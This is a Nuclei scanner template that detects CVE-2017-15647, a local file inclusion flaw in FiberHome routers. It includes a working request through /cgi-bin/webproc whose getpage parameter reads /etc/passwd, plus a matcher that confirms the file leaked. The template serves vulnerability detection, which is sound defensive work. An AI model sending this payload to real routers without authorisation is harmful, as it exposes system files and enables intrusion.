id: CVE-2017-15647 info: name: FiberHome Routers - Local File Inclusion author: daffainfo severity: high description: FiberHome routers are susceptible to local file inclusion in /cgi-bin/webproc via the getpage parameter in conjunction with a crafted var:page value. remediation: | Apply the latest firmware update provided by FiberHome to fix the LFI vulnerability. reference: - https://www.exploit-db.com/exploits/44054 - https://blogs.securiteam.com/index.php/archives/3472 - https://nvd.nist.gov/vuln/detail/CVE-2017-15647 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2017-15647 cwe-id: CWE-22 epss-score: 0.02013 epss-percentile: 0.87609 cpe: cpe:2.3:o:fiberhome:routerfiberhome_firmware:*:*:*:*:*:*:*:* metadata: max-request: 1 vendor: fiberhome product: routerfiberhome_firmware tags: lfi,router,edb,cve,cve2017 http: - method: GET path: - "{{BaseURL}}/cgi-bin/webproc?getpage=/etc/passwd&var:language=en_us&var:page=wizardfifth" matchers-condition: and matchers: - type: regex regex: - "root:.*:0:0:" - type: status status: - 200 # digest: 4a0a00473045022100d157a4ec2c764e391110b419eb1210b30946dc0f9d26ebf45aad2fe7aceaa94f022062f25b5e4b33bbf310dfd5ee792b0cd1c8e2fc18f7e1fb97c50bb4b7951496a7:922c64590222798bb761d5b6d8e72950